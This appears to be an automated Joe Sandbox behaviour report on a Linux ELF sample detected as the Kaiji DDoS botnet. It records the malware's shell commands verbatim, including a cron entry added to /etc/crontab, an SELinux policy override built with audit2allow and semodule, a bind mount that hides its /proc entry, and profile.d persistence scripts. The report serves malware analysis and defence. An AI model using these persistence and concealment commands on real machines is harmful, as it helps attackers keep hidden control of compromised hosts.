Edit tour

Linux Analysis Report
Xq5coKA8BI.elf

Overview

General Information

Sample name:	Xq5coKA8BI.elf renamed because original name is a hash value
Original sample name:	790576a357429568ac84093b6f785f3a.elf
Analysis ID:	1547222
MD5:	790576a357429568ac84093b6f785f3a
SHA1:	b8a5de8ce8570856744717b9872afa7546c5a01e
SHA256:	5b1c5fca09994aa52e8e572d48c6569b04b531cd334f3e4d4e1fc2c3e77ce0cf
Tags:	32armelf
Infos:

Detection

Kaiji

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Kaiji

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using cron

Sample tries to set files in /etc globally writable

Creates hidden files and/or directories

Creates hidden files without content (potentially used as a mutex)

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "sleep" command used to delay execution and potentially evade sandboxes

Executes the "systemctl" command used for controlling the systemd system and service manager

Reads CPU information from /sys indicative of miner or evasive malware

Reads the 'hosts' file potentially containing internal network hosts

Sample has stripped symbol table

Sample tries to set the executable flag

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Writes shell script files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547222
Start date and time:	2024-11-02 03:59:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Xq5coKA8BI.elf renamed because original name is a hash value
Original Sample Name:	790576a357429568ac84093b6f785f3a.elf
Detection:	MAL
Classification:	mal72.spre.troj.evad.linELF@0/58@451/0

Warnings

VT rate limit hit for: Xq5coKA8BI.elf

Runtime Messages

Command:	/tmp/Xq5coKA8BI.elf
PID:	5472
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

Xq5coKA8BI.elf (PID: 5472, Parent: 5391, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Xq5coKA8BI.elf

Xq5coKA8BI.elf New Fork (PID: 5477, Parent: 5472)

Xq5coKA8BI.elf (PID: 5477, Parent: 5472, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Xq5coKA8BI.elf

Xq5coKA8BI.elf New Fork (PID: 5490, Parent: 5477)

bash (PID: 5490, Parent: 5477, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c /etc/32676&

bash New Fork (PID: 5495, Parent: 5490)

32676 (PID: 5495, Parent: 2935, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /etc/32676

32676 New Fork (PID: 5498, Parent: 5495)

sleep (PID: 5498, Parent: 5495, MD5: fcba58db24e5e3672c4d70a3bb01d7a4) Arguments: sleep 60

32676 New Fork (PID: 5690, Parent: 5495)

32676 New Fork (PID: 5692, Parent: 5495)

sleep (PID: 5692, Parent: 5495, MD5: fcba58db24e5e3672c4d70a3bb01d7a4) Arguments: sleep 60

32676 New Fork (PID: 5751, Parent: 5495)

32676 New Fork (PID: 5753, Parent: 5495)

sleep (PID: 5753, Parent: 5495, MD5: fcba58db24e5e3672c4d70a3bb01d7a4) Arguments: sleep 60

Xq5coKA8BI.elf New Fork (PID: 5496, Parent: 5477)

service (PID: 5496, Parent: 5477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service crond start

service New Fork (PID: 5499, Parent: 5496)

basename (PID: 5499, Parent: 5496, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5500, Parent: 5496)

basename (PID: 5500, Parent: 5496, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5501, Parent: 5496)

systemctl (PID: 5501, Parent: 5496, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5502, Parent: 5496)

service New Fork (PID: 5503, Parent: 5502)

systemctl (PID: 5503, Parent: 5502, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5504, Parent: 5502)

sed (PID: 5504, Parent: 5502, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5496, Parent: 5477, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start crond.service

Xq5coKA8BI.elf New Fork (PID: 5505, Parent: 5477)

bash (PID: 5505, Parent: 5477, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c "cd /boot;systemctl daemon-reload;systemctl enable quotaoff.service;systemctl start quotaoff.service;journalctl -xe --no-pager"

bash New Fork (PID: 5510, Parent: 5505)

systemctl (PID: 5510, Parent: 5505, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

bash New Fork (PID: 5514, Parent: 5505)

systemctl (PID: 5514, Parent: 5505, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable quotaoff.service

bash New Fork (PID: 5518, Parent: 5505)

systemctl (PID: 5518, Parent: 5505, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start quotaoff.service

bash New Fork (PID: 5531, Parent: 5505)

journalctl (PID: 5531, Parent: 5505, MD5: bf3a987344f3bacafc44efd882abda8b) Arguments: journalctl -xe --no-pager

Xq5coKA8BI.elf New Fork (PID: 5539, Parent: 5477)

bash (PID: 5539, Parent: 5477, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c "cd /boot;ausearch -c 'System.mod' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp"

bash New Fork (PID: 5544, Parent: 5539)

bash New Fork (PID: 5545, Parent: 5539)

bash New Fork (PID: 5546, Parent: 5539)

Xq5coKA8BI.elf New Fork (PID: 5547, Parent: 5477)

bash (PID: 5547, Parent: 5477, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c "echo \"*/1 * * * * root /.mod \" >> /etc/crontab"

Xq5coKA8BI.elf New Fork (PID: 5552, Parent: 5477)

renice (PID: 5552, Parent: 5477, MD5: 3686c936ed1df483498266a36871cb5b) Arguments: renice -20 5477

Xq5coKA8BI.elf New Fork (PID: 5554, Parent: 5477)

mount (PID: 5554, Parent: 5477, MD5: 92b20aa8b155ecd3ba9414aa477ef565) Arguments: mount -o bind /tmp/ /proc/5477

Xq5coKA8BI.elf New Fork (PID: 5580, Parent: 5477)

service (PID: 5580, Parent: 5477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service cron start

service New Fork (PID: 5582, Parent: 5580)

basename (PID: 5582, Parent: 5580, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5583, Parent: 5580)

basename (PID: 5583, Parent: 5580, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5584, Parent: 5580)

systemctl (PID: 5584, Parent: 5580, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5585, Parent: 5580)

service New Fork (PID: 5586, Parent: 5585)

systemctl (PID: 5586, Parent: 5585, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5587, Parent: 5585)

sed (PID: 5587, Parent: 5585, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5580, Parent: 5477, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start cron.service

Xq5coKA8BI.elf New Fork (PID: 5610, Parent: 5477)

systemctl (PID: 5610, Parent: 5477, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start crond.service

systemd New Fork (PID: 5512, Parent: 5511)

snapd-env-generator (PID: 5512, Parent: 5511, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5516, Parent: 5515)

snapd-env-generator (PID: 5516, Parent: 5515, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5519, Parent: 1)

udisksd New Fork (PID: 5567, Parent: 802)

dumpe2fs (PID: 5567, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5600, Parent: 1)

cron (PID: 5600, Parent: 1, MD5: 2c82564ff5cc862c89392b061c7fbd59) Arguments: /usr/sbin/cron -f

cron New Fork (PID: 5652, Parent: 5600)

cron New Fork (PID: 5658, Parent: 5652)

sh (PID: 5658, Parent: 5652, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/.mod "

sh New Fork (PID: 5659, Parent: 5658)

.mod (PID: 5659, Parent: 5658, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /.mod

.mod New Fork (PID: 5660, Parent: 5659)

systemd New Fork (PID: 5681, Parent: 1)

cron (PID: 5681, Parent: 1, MD5: 2c82564ff5cc862c89392b061c7fbd59) Arguments: /usr/sbin/cron -f

cron New Fork (PID: 5713, Parent: 5681)

cron New Fork (PID: 5721, Parent: 5713)

sh (PID: 5721, Parent: 5713, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/.mod "

sh New Fork (PID: 5722, Parent: 5721)

.mod (PID: 5722, Parent: 5721, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /.mod

.mod New Fork (PID: 5723, Parent: 5722)

systemd New Fork (PID: 5742, Parent: 1)

cron (PID: 5742, Parent: 1, MD5: 2c82564ff5cc862c89392b061c7fbd59) Arguments: /usr/sbin/cron -f

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Kaiji	Surfaced in late April 2020, Intezer describes Kaiji as a DDoS malware written in Go that spreads through SSH brute force attacks. Recovered function names are an English representation of Chinese words, hinting about the origin. The name Kaiji was given by MalwareMustDie based on strings found in samples.	No Attribution	https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/ https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/ https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/ https://www.elastic.co/security-labs/betting-on-bots	https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Xq5coKA8BI.elf	JoeSecurity_Kaiji_1	Yara detected Kaiji	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Xq5coKA8BI.elf

ReversingLabs: Detection: 36%

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)

Reads CPU info from /sys: /sys/devices/system/cpu/online

Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ss.us-tv.top

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.spre.troj.evad.linELF@0/58@451/0

Source: ELF file section

Submission: Xq5coKA8BI.elf

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/profile.d/bash_cfg.sh			Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/profile.d/gateway.sh			Jump to behavior

Sample tries to persist itself using cron

Source: /bin/bash (PID: 5547)

File: /etc/crontab

Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/opt.services.cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/32676 (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/profile.d/bash_cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/.walk	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /dev/.walk.lod	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /etc/.walk	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /dev/.old	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /dev/.img	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File: /.mod	Jump to behavior
Source: /.mod (PID: 5659)	Directory: /.mod	Jump to behavior
Source: /.mod (PID: 5722)	Directory: /.mod	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Empty hidden file: /dev/.old	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Empty hidden file: /dev/.walk.lod	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	Empty hidden file: /dev/.img	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/230/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/232/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/234/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/236/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/237/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/238/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/239/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/119/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/914/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/10/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/917/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/11/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/12/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/13/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/14/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/15/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/16/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/17/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/18/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/19/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/240/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/3095/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/120/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/241/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/121/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/242/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/122/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/243/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/2/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/123/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/244/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/3/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/124/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/245/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1588/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/125/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/4/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/246/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/126/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/5/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/247/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/127/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/6/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/248/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/128/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/7/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/249/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/129/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/8/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/800/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/9/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1906/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/802/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/3643/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/803/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/20/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/21/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/22/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/23/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/24/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/25/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/26/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/27/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/28/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/29/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/3420/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1482/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/490/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1480/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/250/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/371/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/130/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/251/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/131/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/252/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/132/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/253/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/254/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1238/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/134/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/255/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/256/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/257/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/378/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/3413/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/258/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/259/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/1475/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/936/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/30/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/816/stat	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5477)	File opened: /proc/35/stat	Jump to behavior

Source: /tmp/Xq5coKA8BI.elf (PID: 5490)	Shell command executed: /bin/bash -c /etc/32676&	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5505)	Shell command executed: /bin/bash -c "cd /boot;systemctl daemon-reload;systemctl enable quotaoff.service;systemctl start quotaoff.service;journalctl -xe --no-pager"	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5539)	Shell command executed: /bin/bash -c "cd /boot;ausearch -c 'System.mod' --raw \| audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp"	Jump to behavior
Source: /tmp/Xq5coKA8BI.elf (PID: 5547)	Shell command executed: /bin/bash -c "echo \"/1 * * * root /.mod \" >> /etc/crontab"	Jump to behavior
Source: /usr/sbin/cron (PID: 5658)	Shell command executed: /bin/sh -c "/.mod "	Jump to behavior
Source: /usr/sbin/cron (PID: 5721)	Shell command executed: /bin/sh -c "/.mod "	Jump to behavior

Source: /usr/sbin/service (PID: 5496)	Systemctl executable: /usr/bin/systemctl -> systemctl start crond.service	Jump to behavior
Source: /usr/sbin/service (PID: 5501)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5503)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /bin/bash (PID: 5510)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/bash (PID: 5514)	Systemctl executable: /usr/bin/systemctl -> systemctl enable quotaoff.service	Jump to behavior
Source: /bin/bash (PID: 5518)	Systemctl executable: /usr/bin/systemctl -> systemctl start quotaoff.service	Jump to behavior
Source: /usr/sbin/service (PID: 5580)	Systemctl executable: /usr/bin/systemctl -> systemctl start cron.service	Jump to behavior
